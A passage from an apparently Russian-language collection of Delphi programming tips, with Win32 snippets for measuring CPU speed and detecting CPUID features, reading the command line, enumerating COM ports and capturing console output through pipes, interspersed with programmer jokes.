if hWnd = 0 then
Exit;
SetLength (Title, 100);
GetWindowText (hWnd, PChar (Title), 100);
LabelTarget.Caption :=
'Window: ' + IntToHex (hWnd, 8) +
' - "' + string (PChar (Title)) + '"';
if CheckDrag.Checked then
UpdateData (hWnd);
end;
end;
procedure TFormInternal.FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var
hWnd: THandle;
Pt: TPoint;
begin
if Capture then
begin
Pt := Point (X, Y);
Pt := ClientToScreen (Pt);
hWnd := WindowFromPoint (Pt);
if hWnd <> 0 then
UpdateData (hWnd);
MouseCapture := False;
Capture := False;
// release the speed button
SpeedChoose.Perform (
wm_LButtonUp, mk_LButton, 0);
end;
end;
procedure TFormInternal.SpeedChooseMouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
MouseCapture := True;
Capture := True;
end;
end.
|
Загрузить исходный код проекта.
Вычисление тактовой частоты процессора.
| Дневник программиста: ВТОРИК: "Устанавливал полуось- чуть не умер." СРЕДА: "Устанавливал Windows 95- лучше бы я умер во вторник." |
Автор: Alex Novikov.
function GetCPUSpeed: double;
const
DelayTime = 500; // время измерения в миллисекундах
var
TimerHi, TimerLo: DWORD;
PriorityClass, Priority: integer;
begin
PriorityClass := GetPriorityClass(GetCurrentProcess);
Priority := GetThreadPriority(GetCurrentThread);
SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_TIME_CRITICAL);
Sleep(10);
asm
dw 310Fh // rdtsc
mov TimerLo, eax
mov TimerHi, edx
end;
Sleep(DelayTime);
asm
dw 310Fh // rdtsc
sub eax, TimerLo
sbb edx, TimerHi
mov TimerLo, eax
mov TimerHi, edx
end;
SetThreadPriority(GetCurrentThread, Priority);
SetPriorityClass(GetCurrentProcess, PriorityClass);
Result := TimerLo / (1000.0 * DelayTime);
end;
begin
LabelCPUSpeed.Caption := Format('CPU speed: %f MHz', [GetCPUSpeed]);
end;
|
Получение параметров командной строки приложения.
Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение параметров командной строки приложения
Зависимости: Windows, SysUtils
Автор: Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright: Dimka Maslov
Дата: 29 марта 2003 г.
***************************************************** }
function Parameters: string;
var
P: PChar;
begin
P := GetCommandLine;
if P^ = '"' then
begin
Inc(P);
P := StrPos(P, '"');
Inc(P);
end
else
P := StrPos(P, ' ');
Inc(P);
Result := P;
end;
Получить текущую глубину цвета.
| Программисты фирмы "Майкрософт" нашли действенное решение по устранению "синих экранов смерти" в операционной системе Windows. С официального сайта Вы можете скачать официальный патч. Теперь в "Панели управления" можно выбрать любой другой цвет для этого режима. А в будущих версиях ОС планируется возможность выбора фоновой картинки на свой вкус. |
function GetColorDepth: string;
var
DesktopDC: HDC; // LongWord
BitsPerPixel: Integer;
begin
DesktopDC := GetDC(0);
BitsPerPixel := GetDeviceCaps(DesktopDC, BITSPIXEL);
case BitsPerPixel of
4: Result := '4-Bit';
8: Result := '8-Bit';
16: Result := '16-Bit';
24: Result := '24-Bit';
32: Result := '32-Bit';
end;
ReleaseDC(0, DesktopDC);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(GetColorDepth);
end;
|
Как узнать размеры TComboBox с показанным выпадающим списком до показа списка.
| Программист после очень длительного сидения за компьютером выходит на улицу и смотрит на небо: - Боже, у Тебя тоже Windows стоит?! |
На событии FormShow пошлите сообщение CB_SHOWDROPDOWN в ComboBox дважды - один раз чтобы заставить список выпасть, второй - чтобы убрать его. Затем пошлите сообщение CB_GETDROPPEDCONTROLRECT, передав в качестве параметра адрес TRect. TRect будет содержать экранные кординаты прямоугольника описывающего ComboBox вместе с выпавшим списком. Затем Вы можете вызвать ScreenToClient чтобы преобразовать экранные кординаты в координаты клиентской области окна.
var R: TRect; procedure TForm1.FormShow(Sender: TObject); var T: TPoint; begin SendMessage(ComboBox1.Handle, CB_SHOWDROPDOWN, 1, 0); SendMessage(ComboBox1.Handle, CB_SHOWDROPDOWN, 0, 0); SendMessage(ComboBox1.Handle, CB_GETDROPPEDCONTROLRECT, 0, LongInt(@r)); t := ScreenToClient(Point(r.Left, r.Top)); r.Left := t.x; r.Top := t.y; t := ScreenToClient(Point(r.Right, r.Bottom)); r.Right := t.x; r.Bottom := t.y; end; procedure TForm1.Button1Click(Sender: TObject); begin Form1.Canvas.Rectangle(r.Left, r.Top, r.Right, r.Bottom ); end; |
Как узнать имя компьютера.
| Приходит мужик в компьютерный салон: - Я у вас вчера компьютер прикупил... - У вас проблемы? - Сгорел он... - Нет проблем - он на гарантии. А что у вас сгорело? - Все! - Ну, так не бывает. Процесор цел? - Сгорел. - А винчестер? - Сгорел. - А память? - Сгорела. - А монитор? - Сгорел. - Господи! Что же вы с ним делали? - Да у меня пожар вчера был.... |
Чтобы узнать имя, идентифицирующее компьютер в сети, на котором запущена Ваша программа, можно воспользоваться следующей функцией:
uses Windows;
function GetComputerNetName: string;
var
buffer: array[0..255] of char;
size: dword;
begin
size := 256;
if GetComputerName(buffer, size) then
Result := buffer
else
Result := ''
end;
|
Определяет наличие СОМ портов.
Автор: Михаил WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Определяет наличие СОМ портов
Данная процедура позволяет определить наличие доступных СОМ-портов.
Список добавлятся в ComboBox. После этого можно выбирать нужный порт.
Зависимости: Windows, Messages, SysUtils, Variants, Classes,
Graphics, Controls, Forms, Dialogs, ComCtrls
Автор: Михаил, mikhail.sazonov@niitp.ru, Москва
Copyright: Сазонов Михаил
Дата: 2 октября 2003 г.
***************************************************** }
unit SetComPort;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ComCtrls, dfsStatusBar, ExtCtrls, StdCtrls, ImgList, Buttons,
ToolWin;
type
TForm1 = class(TForm)
StrNP: TRichEdit;
dfsStatusBar1: TdfsStatusBar;
ImageList1: TImageList;
CoolBar1: TCoolBar;
Panel1: TPanel;
LoadNP: TBitBtn;
Auto: TCheckBox;
SetRegim: TRadioGroup;
GroupBox1: TGroupBox;
ComPort: TComboBox;
BaudRate: TComboBox;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Parity: TComboBox;
ByteSize: TComboBox;
StopBits: TComboBox;
CloseItem: TBitBtn;
procedure InquiryPort(Sender: TObject); {опрос существующих портов}
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure CloseItemClick(Sender: TObject);
procedure ComPortChange(Sender: TObject);
procedure BaudRateChange(Sender: TObject);
procedure ParityChange(Sender: TObject);
procedure ByteSizeChange(Sender: TObject);
procedure StopBitsChange(Sender: TObject);
procedure SetRegimClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
FHandl: THandle; {дескриптор порта}
DCB: TDCB; {ссылка на структуру настройки порта}
PortName: string; {имя порта, для дальнейшей работы}
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.InquiryPort(Sender: TObject);
var
i: integer;
begin {опрос существующих портов}
for i := 0 to 31 do {цикл опроса}
begin {пробуем получить дескриптор порта}
FHandl := CreateFile(PChar('COM' + IntToStr(i + 1)),
GENERIC_READ or GENERIC_WRITE,
0,
nil,
OPEN_EXISTING, FILE_FLAG_OVERLAPPED, 0);
if FHandl <> INVALID_HANDLE_VALUE then {если порт есть то добавить в список}
ComPort.Items.Add('COM' + IntToStr(i + 1));
CloseHandle(FHandl); {закрыть дескриптор}
end;
end;
..........
Как получить результат работы консольной программы.
| - Чем отличается программист от сперматозоида? - У сперматозоида есть один шанс из 50000000 стать человеком. |
Нужно использовать пайпы (CreatePipe), и работать с ними как с обычным файлом.
const
H_IN_READ = 1;
H_IN_WRITE = 2;
H_OUT_READ = 3;
H_OUT_WRITE = 4;
H_ERR_READ = 5;
H_ERR_WRITE = 6;
type
TPipeHandles = array [1..6] of THandle;
var
hPipes: TPipeHandles;
ProcessInfo: TProcessInformation;
(************CREATE HIDDEN CONSOLE PROCESS************)
function CreateHiddenConsoleProcess(szChildName: string;
ProcPriority: DWORD; ThreadPriority: integer): Boolean;
label
error;
var
fCreated: Boolean;
si: TStartupInfo;
sa: TSecurityAttributes;
begin
// Initialize handles
hPipes[ H_IN_READ ] := INVALID_HANDLE_VALUE;
hPipes[ H_IN_WRITE ] := INVALID_HANDLE_VALUE;
hPipes[ H_OUT_READ ] := INVALID_HANDLE_VALUE;
hPipes[ H_OUT_WRITE ] := INVALID_HANDLE_VALUE;
hPipes[ H_ERR_READ ] := INVALID_HANDLE_VALUE;
hPipes[ H_ERR_WRITE ] := INVALID_HANDLE_VALUE;
ProcessInfo.hProcess := INVALID_HANDLE_VALUE;
ProcessInfo.hThread := INVALID_HANDLE_VALUE;
// Create pipes
// initialize security attributes for handle inheritance (for WinNT)
sa.nLength := sizeof(sa);
sa.bInheritHandle := TRUE;
sa.lpSecurityDescriptor := nil;
// create STDIN pipe
if not CreatePipe( hPipes[ H_IN_READ ], hPipes[ H_IN_WRITE ], @sa, 0 ) then
goto error;
// create STDOUT pipe
if not CreatePipe( hPipes[ H_OUT_READ ], hPipes[ H_OUT_WRITE ], @sa, 0 ) then
goto error;
// create STDERR pipe
if not CreatePipe( hPipes[ H_ERR_READ ], hPipes[ H_ERR_WRITE ], @sa, 0 ) then
goto error;
// process startup information
ZeroMemory(Pointer(@si), sizeof(si));
si.cb := sizeof(si);
si.dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
si.wShowWindow := SW_HIDE;
// assign "other" sides of pipes
si.hStdInput := hPipes[ H_IN_READ ];
si.hStdOutput := hPipes[ H_OUT_WRITE ];
si.hStdError := hPipes[ H_ERR_WRITE ];
// Create a child process
try
fCreated := CreateProcess( nil, PChar(szChildName), nil, nil, True,
ProcPriority, // CREATE_SUSPENDED,
nil, nil, si, ProcessInfo );
except
fCreated := False;
end;
if not fCreated then
goto error;
Result := True;
CloseHandle(hPipes[ H_OUT_WRITE ]);
CloseHandle(hPipes[ H_ERR_WRITE ]);
// ResumeThread( pi.hThread );
SetThreadPriority(ProcessInfo.hThread, ThreadPriority);
CloseHandle( ProcessInfo.hThread );
Exit;
//-----------------------------------------------------
error:
ClosePipes( hPipes );
CloseHandle( ProcessInfo.hProcess );
CloseHandle( ProcessInfo.hThread );
ProcessInfo.hProcess := INVALID_HANDLE_VALUE;
ProcessInfo.hThread := INVALID_HANDLE_VALUE;
Result := False;
end;
|
Узнать директорию Cookie.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
Registry;
function GetDirectory: string;
var
reg : TRegistry;
begin
reg := TRegistry.Create;
try
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Special Paths\Cookies',
False);
Result := reg.ReadString('Directory');
finally
reg.Free;
end;
end;
procedure TForm1.Button1Click(Sender : TObject);
var
s : string;
begin
S := GetDirectory;
ShowMessage(GetDirectory);
end;
Определение количества CPU.
Автор: Gua WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Определение количества CPU
Зависимости: Windows
Автор: Gua, gua@ukr.net, ICQ:141585495, Simferopol
Copyright: ©Gua
Дата: 15 июля 2002 г.
***************************************************** }
function GetCPUCount: byte;
var
si: TSystemInfo;
begin
GetSystemInfo(si);
Result := si.dwNumberOfProcessors;
end;
Получение информации о процессоре.
| Автор: Igor Popov |
| Встретились четыре компьютерщика, а бутылка ВОДКИ только одна. Мало! Долго недумая взяли и разогнали её до 400. |
Если Вам необходимо не только "вычислить" частоту процессора, а и узнать о процессоре как можно больше, пожалуйста, пользуйтесь следующим модулем:
unit ExpandCPUInfo;
interface
type
TCPUInfo = packed record
IDString : array [0..11] of Char;
Stepping : Integer;
Model : Integer;
Family : Integer;
FPU,
VirtualModeExtensions,
DebuggingExtensions,
PageSizeExtensions,
TimeStampCounter,
K86ModelSpecificRegisters,
MachineCheckException,
CMPXCHG8B,
APIC,
MemoryTypeRangeRegisters,
GlobalPagingExtension,
ConditionalMoveInstruction,
MMX : Boolean;
SYSCALLandSYSRET,
FPConditionalMoveInstruction,
AMD3DNow : Boolean;
CPUName : String;
end;
{информация об идентификации процессора}
function ExistCPUID:Boolean;
function CPUIDInfo(out info: TCPUInfo):Boolean;
{инф-я о технологии процессора}
function ExistMMX:Boolean;
function Exist3DNow:Boolean;
function ExistKNI:Boolean;
{------------------------}
procedure EMMS;
procedure FEMMS;
procedure PREFETCH(p: Pointer); register;
implementation
function ExistCPUID : Boolean;
asm
pushfd
pop eax
mov ebx, eax
xor eax, 00200000h
push eax
popfd
pushfd
pop ecx
mov eax,0
cmp ecx, ebx
jz @NO_CPUID
inc eax
@NO_CPUID:
end;
function CPUIDInfo(out info: TCPUIDInfo):Boolean;
function ExistExtendedCPUIDFunctions:Boolean;
asm
mov eax,080000000h
db $0F,$A2
end;
var
name : array [0..47] of Char;
p : Pointer;
begin
if ExistCPUID then asm
jmp @Start
@BitLoop:
mov al,dl
and al,1
mov [edi],al
shr edx,1
inc edi
loop @BitLoop
ret
@Start:
mov edi,info
mov eax,0
db $0F,$A2
mov [edi],ebx
mov [edi+4],edx
mov [edi+8],ecx
mov eax,1
db $0F,$A2
mov ebx,eax
and eax,0fh;
mov [edi+12],eax;
shr ebx,4
mov eax,ebx
and eax,0fh
mov [edi+12+4],eax
shr ebx,4
mov eax,ebx
and eax,0fh
mov [edi+12+8],eax
add edi,24
mov ecx,6
call @BitLoop
shr edx,1
mov ecx,3
call @BitLoop
shr edx,2
mov ecx,2
call @BitLoop
shr edx,1
mov ecx,1
call @BitLoop
shr edx,7
mov ecx,1
call @BitLoop
mov p,edi
end;
if (info.IDString = 'AuthenticAMD') and ExistExtendedCPUIDFunctions then begin
asm
mov edi,p
mov eax,080000001h
db $0F,$A2
mov eax,edx
shr eax,11
and al,1
mov [edi],al
mov eax,edx
shr eax,16
and al,1
mov [edi+1],al
mov eax,edx
shr eax,31
and al,1
mov [edi+2],al
lea edi,name
mov eax,0
mov [edi],eax
mov eax,080000000h
db $0F,$A2
cmp eax,080000004h
jl @NoString
mov eax,080000002h
db $0F,$A2
mov [edi],eax
mov [edi+4],ebx
mov [edi+8],ecx
mov [edi+12],edx
add edi,16
mov eax,080000003h
db $0F,$A2
mov [edi],eax
mov [edi+4],ebx
mov [edi+8],ecx
mov [edi+12],edx
add edi,16
mov eax,080000004h
db $0F,$A2
mov [edi],eax
mov [edi+4],ebx
mov [edi+8],ecx
mov [edi+12],edx
@NoString:
end;
info.CPUName:=name;
end else with info do begin
SYSCALLandSYSRET:=False;
FPConditionalMoveInstruction:=False;
AMD3DNow:=False;
CPUName:='';
end;
Result:=ExistCPUID;
end;
function ExistMMX:Boolean;
var
info : TCPUIDInfo;
begin
if CPUIDInfo(info) then
Result:=info.MMX
else
Result:=False;
end;
function Exist3DNow:Boolean;
var
info : TCPUIDInfo;
begin
if CPUIDInfo(info) then
Result:=info.AMD3DNow
else
Result:=False;
end;
function ExistKNI:Boolean;
begin
Result:=False;
end;
procedure EMMS;
asm
db $0F,$77
end;
procedure FEMMS;
asm
db $0F,$03
end;
procedure PREFETCH(p: Pointer); register;
asm
// PREFETCH byte ptr [eax]
end;
end.
|
Как определить скорость процессора.
| На борту самолёта: "Здравствуйте, дамы и господа, говорит командир экипажа. Мы благодарим вас за то, что вы выбрали нашу авиакомпанию для первого полёта в первый день нового 2000 года. Мы находимся на высоте 3 тыс. футов, наша скорость... вау!... ох мля!... вот фак!... Извините за те неудобства, которые вы испытываете, находясь вниз головой, надеюсь все были пристёгнуты. Есть ли среди пассажиров на борту программист?" |
function GetCPUSpeed: real;
function IsCPUID_Available: Boolean; assembler; register;
asm
PUSHFD { прямой доступ к флагам невозможен, только через стек }
POP EAX { флаги в EAX }
MOV EDX,EAX { сохраняем текущие флаги }
xor EAX,$200000 { бит ID не нужен }
PUSH EAX { в стек }
POPFD { из стека в флаги, без бита ID }
PUSHFD { возвращаем в стек }
POP EAX { обратно в EAX }
xor EAX,EDX { проверяем, появился ли бит ID }
JZ @exit { нет, CPUID не доступен }
MOV AL,True { Result=True }
@exit:
end;
function hasTSC: Boolean;
var
Features: Longword;
begin
asm
MOV Features,0 { Features = 0 }
PUSH EBX
xor EAX,EAX
DW $A20F
POP EBX
CMP EAX,$01
JL @Fail
xor EAX,EAX
MOV EAX,$01
PUSH EBX
DW $A20F
MOV Features,EDX
POP EBX
@Fail:
end;
hasTSC := (Features and $10) <> 0;
end;
const
DELAY = 500;
var
TimerHi, TimerLo: Integer;
PriorityClass, Priority: Integer;
begin
Result := 0;
if not (IsCPUID_Available and hasTSC) then
Exit;
PriorityClass := GetPriorityClass(GetCurrentProcess);
Priority := GetThreadPriority(GetCurrentThread);
SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread,
THREAD_PRIORITY_TIME_CRITICAL);
SleepEx(10, FALSE);
asm
DB $0F { $0F31 op-code for RDTSC Pentium инструкции }
DB $31 { возвращает 64-битное целое (Integer) }
MOV TimerLo,EAX
MOV TimerHi,EDX
end;
SleepEx(DELAY, FALSE);
asm
DB $0F { $0F31 op-code для RDTSC Pentium инструкции }
DB $31 { возвращает 64-битное целое (Integer) }
SUB EAX,TimerLo
SBB EDX,TimerHi
MOV TimerLo,EAX
MOV TimerHi,EDX
end;
SetThreadPriority(GetCurrentThread, Priority);
SetPriorityClass(GetCurrentProcess, PriorityClass);
Result := TimerLo / (1000 * DELAY);
end;
|
Как определить скорость процессора 2.
program ....;
..
..
const
ID_BIT = $200000; // EFLAGS ID bit
function GetCPUSpeed: Double;
const
DelayTime = 500;
var
TimerHi, TimerLo: DWORD;
PriorityClass, Priority: Integer;
begin
try
PriorityClass := GetPriorityClass(GetCurrentProcess);
Priority := GetThreadPriority(GetCurrentThread);
SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread,THREAD_PRIORITY_TIME_CRITICAL);
Sleep(10);
asm
dw 310Fh // rdtsc
mov TimerLo, eax
mov TimerHi, edx
end;
Sleep(DelayTime);
asm
dw 310Fh // rdtsc
sub eax, TimerLo
sbb edx, TimerHi
mov TimerLo, eax
mov TimerHi, edx
end;
SetThreadPriority(GetCurrentThread, Priority);
SetPriorityClass(GetCurrentProcess, PriorityClass);
Result := TimerLo / (1000.0 * DelayTime);
except
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
cpuspeed: string;
begin
cpuspeed := Format('%f MHz', [GetCPUSpeed]);
edit1.text := cpuspeed;
end;
|
Как определить скорость процессора 3.
function RdTSC : int64; register;
asm
db $0f, $31
end;
function GetCyclesPerSecond : int64;
var
hF, T, et, sc : int64;
begin
QueryPerformanceFrequency(hF); // HiTicks / second
QueryPerformanceCounter(T); // Determine start HiTicks
et := T + hF; // (Cycles are passing, but we can still USE them!)
sc := RdTSC; // Get start cycles
repeat // Use Hi Perf Timer to loop for 1 second
QueryPerformanceCounter(T); // Check ticks NOW
until (T >= et); // Break the moment we equal or exceed et
Result := RdTSC - sc; // Get stop cycles and calculate result
end;
|
Как определить тип процессора.
| Приходит мужик в компьютерный салон: - Я у вас вчера компьютер прикупил... - У вас проблемы? - Сгорел он... - Нет проблем, - он на гарантии. А что у вас сгорело? - Все! - Ну так не бывает. Процесор цел? - Сгорел. - А винчестер? - Сгорел. - А память? - Сгорела. - А монитор? - Сгорел. - Господи! Что же вы с ним делали? - Да у меня пожар вчера был. |
unit CpuId;
interface
uses
Windows, Mmsystem, Sysutils, Math, Dialogs;
type
TCpuRec = record
name: string[128];
Vendor: string[12];
Frequency: word;
Family: integer;
Model: integer;
Stepping: integer;
L1DCache: word;
L1ICache: word;
L2Cache: word;
end;
TCpuType = (cpu8086, cpu286, cpu386, cpu486, cpuPentium);
TCpuData = object
function GetCPUIDSupport:Boolean;
function GetVendorString:string;
function GetCPUFrequency:word;
procedure GetFMS(var Family,Model,Stepping:byte);
function GetMaxCpuId:dword;
function CheckFPU:Boolean;
function CheckTSC:Boolean;
function CheckMSR:Boolean;
function CheckMPS:Boolean;
function GetNoCpus:cardinal;
function CheckPN:Boolean;
function CheckCMPXCHG8B:Boolean;
function CheckCMOVe:Boolean;
function CheckSelfSnoop:Boolean;
function CheckDebugTraceStore:Boolean;
function CheckFXSAVEFXRSTOR:Boolean;
function CheckMMX:Boolean;
function CheckMMXplus:Boolean;
function CheckSSE:Boolean;
function CheckSSE2:Boolean;
function CheckAMD3DNow:Boolean;
function CheckAMD3DNowPlus:Boolean;
function GetMaxExtendedFunctions:dword;
procedure GetExtendedFMS(var Family,Model,Stepping:byte);
function GetExtendedCpuName:string;
function GetExtendedL1DCache:word;
function GetExtendedL1ICache:word;
function GetExtendedL2Cache:word;
function CheckCeleron:Boolean;
function CheckPentiumIII:Boolean;
function CheckXeon:Boolean;
function CheckPentium4:Boolean;
function CheckIthanium:Boolean;
//****Aici am conrectat****
function IntelP5N:string;
function IntelP6N:string;
//****Pana aici****
function AMDK5N:string;
function Cyrix686N:string;
function GenericCpuN:string;
function P5CacheL1DI:word;
function P6CacheL1DI:word;
function P6CacheL2:word;
function AuthenticAMD:TCpuRec;
function GenuineIntel:TCpuRec;
function CyrixInstead:TCpuRec;
function GenericCPU:TCpuRec;
end;
const
Intel486:array[0..8] of string=
('Intel 486 DX',
'Intel 486 DX',
'Intel 486 SX',
'Intel 486 DX2',
'Intel 486 SL',
'Intel 486 SX2',
'Intel 486 DX2',
'Intel 486 DX4',
'Intel 486 DX4');
UMC486:array[0..1] of string=
('UMC U5D',
'UMC U5S');
AMD486:array[0..5] of string=
('AMD 486 DX2',
'AMD 486 DX2',
'AMD 486 DX4',
'AMD 486 DX4',
'AMD 5x86',
'AMD 5x86');
IntelP5:array[0..6] of string=
('Intel Pentium P5 A-Step',
'Intel Pentium P5',
'Intel Pentium P54C',
'Intel Pentium P24T Overdrive',
'Intel Pentium MMX P55C',
'Intel Pentium P54C',
'Intel Pentium MMX P55C');
NexGenNx586='NexGen Nx586';
Cyrix4x86='VIA Cyrix 4x86';
Cyrix5x86='VIA Cyrix 5x86';
CyrixMediaGX='VIA Cyrix Media GX';
CyrixM1='VIA Cyrix 6x86';
CyrixM2='VIA Cyrix 6x86MX';
CyrixIII='VIA Cyrix III';
AMDK5:array[0..3] of string=
('AMD SSA5 (PR75/PR90/PR100)',
'AMD 5k86 (PR120/PR133)',
'AMD 5k86 (PR166)',
'AMD 5k86 (PR200)');
AMDK6:array[0..4] of string=
('AMD K6 (166~233)',
'AMD K6 (266~300)',
'AMD K6-2',
'AMD K6-III',
'AMD K6-2+ or K6-III+');
Centaur:array[0..2] of string=
('Centaur C6',
'Centaur C2',
'Centaur C3');
Rise:array[0..1] of string=
('Rise mP6',
'Rise mP6');
IntelP6:array[0..7] of string=
('Intel Pentium Pro A-Step',
'Intel Pentium Pro',
'Intel Pentium II',
'Intel Pentium II',
'Intel Pentium II',
'Intel Pentium III',
'Intel Pentium III',
'Intel Pentium III');
AMDK7:array[0..3] of string=
('AMD Athlon(tm) Processor',
'AMD Athlon(tm) Processor',
'AMD Duron(tm) Processor',
'AMD Thunderbird Processor');
IntelP4='Intel Pentium 4';
var
CpuData: TCpuData;
implementation
function TCpuData.GetCPUIDSupport: Boolean;
var
TempDetect: dword;
begin
asm
pushf
pushfd
push eax
push ebx
push ecx
push edx
pushfd
pop eax
mov ebx,eax
xor eax,$00200000
push eax
popfd
pushfd
pop eax
push ebx
popfd
xor eax,ebx
mov TempDetect,eax
pop edx
pop ecx
pop ebx
pop eax
popfd
popf
end;
GetCPUIDSupport:=(TempDetect=$00200000);
end;
function TCpuData.GetVendorString:string;
var
s1, s2, s3: array [0..3] of char;
TempVendor: string;
i: integer;
begin
asm
push eax
push ebx
push ecx
push edx
mov eax,0
db $0F,$A2 /// cpuid
mov s1,ebx
mov s2,edx
mov s3,ecx
pop edx
pop ecx
pop ebx
pop eax
end;
TempVendor:='';
for i:=0 to 3 do
TempVendor:=TempVendor+s1[i];
for i:=0 to 3 do
TempVendor:=TempVendor+s2[i];
for i:=0 to 3 do
TempVendor:=TempVendor+s3[i];
GetVendorString:=TempVendor;
end;
function TCpuData.GetCPUFrequency: word;
var
TimeStart: integer;
TimeStop: integer;
StartTicks: dword;
EndTicks: dword;
TotalTicks: dword;
cpuSpeed: dword;
NeverExit: Boolean;
begin
TimeStart:=0;
TimeStop:=0;
StartTicks:=0;
EndTicks:=0;
TotalTicks:=0;
cpuSpeed:=0;
NeverExit:=True;
TimeStart:=timeGetTime;
while NeverExit do
begin
TimeStop:=timeGetTime;
if ((TimeStop-TimeStart)>1) then
begin
asm
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
db $0F,$A2 /// cpuid
db $0F,$31 /// rdtsc
mov StartTicks,eax
end;
Break;
end;
end;
TimeStart:=TimeStop;
while NeverExit do
begin
TimeStop:=timeGetTime;
if ((TimeStop-TimeStart)>1000) then
begin
asm
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
db $0F,$A2 /// cpuid
db $0F,$31 /// rdtsc
mov EndTicks,eax
end;
Break;
end;
end;
TotalTicks:=EndTicks-StartTicks;
cpuSpeed:=TotalTicks div 1000000;
GetCPUFrequency:=cpuSpeed;
end;
procedure TCpuData.GetFMS(var Family,Model,Stepping:byte);
var
TempFlags: dword;
BinFlags: array [0..31] of byte;
i, pos: integer;
begin
asm
push eax
push ebx
push ecx
push edx
mov eax,1
db $0F,$A2 /// cpuid
mov TempFlags,eax
pop edx
pop ecx
pop ebx
pop eax
end;
for i:=0 to 31 do
begin
BinFlags[i]:=TempFlags mod 2;
TempFlags:=TempFlags div 2;
end;
family:=0;
model:=0;
stepping:=0;
pos:=0;
for i:=0 to 3 do
begin
stepping:=stepping+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
inc(pos);
end;
pos:=4;
for i:=0 to 3 do
begin
model:=model+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
inc(pos);
end;
pos:=8;
for i:=0 to 3 do
begin
family:=family+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
inc(pos);
end;
end;
function TCpuData.GetMaxCpuId:dword;
var
TempMax: dword;
begin
asm
push eax
push ebx
push ecx
push edx
mov eax,0
db $0F,$A2 /// cpuid
mov TempMax,eax
pop edx
pop ecx
pop ebx
pop eax
end;
GetMaxCpuId:=TempMax;
end;
function TCpuData.CheckFPU: Boolean;
label
NoFpu;
var
TempCheck: dword;
begin
TempCheck:=1;
asm
push eax
push ebx
push ecx
push edx
mov eax,1
db $0F,$A2 /// cpuid
test edx,$1
jz NoFpu
mov edx,0
mov TempCheck,edx
NoFpu:
pop edx
pop ecx
pop ebx
pop eax
end;
CheckFpu:=(TempCheck=0);
end;
function TCpuData.CheckTSC: Boolean;
label
NoTSC;
var
TempCheck: dword;
begin
TempCheck:=1;
asm
push eax
push ebx
push ecx
push edx
mov eax,1
db $0F,$A2 /// cpuid
test edx,$10
jz NoTSC
mov edx,0
mov TempCheck,edx
NoTSC:
pop edx
pop ecx
pop ebx
pop eax
end;
CheckTSC:=(TempCheck=0);
end;
function TCpuData.CheckMSR: Boolean;
label
NoMSR;
var
TempCheck: dword;
begin
TempCheck:=1;
asm
push eax
push ebx
push ecx
push edx
mov eax,1
db $0F,$A2 /// cpuid
test edx,$20
jz NoMSR
mov edx,0
mov TempCheck,edx
NoMSR:
pop edx
pop ecx
pop ebx
pop eax
end;
CheckMSR:=(TempCheck=0);
end;
function TCpuData.CheckMPS: Boolean;
var
SysInfo: TSystemInfo;
begin
GetSysTemInfo(SysInfo);
CheckMPS:=(SysInfo.dwNumberOfProcessors>1);
end;
function TCpuData.GetNoCpus:cardinal;
var
SysInfo: TSystemInfo;
begin
GetSystemInfo(SysInfo);
GetNoCpus:=SysInfo.dwNumberOfProcessors;
end;
function TCpuData.CheckPN:Boolean;
label
NoPN;
var
TempCheck: dword;
begin
TempCheck:=1;
asm
push eax
push ebx
push ecx
push edx
mov eax,1
db $0F,$A2 /// cpuid
test edx,$40000
jz NoPN
mov edx,0
mov TempCheck,edx
NoPN:
pop edx
pop ecx
pop ebx
pop eax
end;
CheckPN:=(TempCheck=0);
end;
function TCpuData.CheckCMPXCHG8B:Boolean;
label
NoCMPXCHG8B;
var
TempCheck: dword;
begin
TempCheck:=1;
asm
push eax
push ebx
push ecx
push edx
mov eax,1
db $0F,$A2 /// cpuid
test edx,$100
jz NoCMPXCHG8B
mov edx,0
mov TempCheck,edx
NoCMPXCHG8B:
pop edx
pop ecx
pop ebx
pop eax
end;
CheckCMPXCHG8B:=(TempCheck=0);
end;
function TCpuData.CheckCMOVe: Boolean;
label
NoCMOVe;
var
TempCheck: dword;
begin
TempCheck:=1;
asm
push eax
push ebx
push ecx
push edx
mov eax,1
db $0F,$A2 /// cpuid
test edx,$8000
jz NoCMOVe
mov edx,0
mov TempCheck,edx
NoCMOVe:
pop edx
pop ecx
pop ebx
pop eax
end;
CheckCMOVe:=(TempCheck=0);
end;
function TCpuData.CheckSelfSnoop: Boolean;
label
NoSelfSnoop;
var
TempCheck: dword;
begin
TempCheck:=1;
asm
push eax
push ebx
push ecx
push edx
mov eax,1
db $0F,$A2 /// cpuid
test edx,$8000000
jz NoSelfSnoop
mov edx,0
mov TempCheck,edx
NoSelfSnoop:
pop edx
pop ecx
pop ebx
pop eax
end;
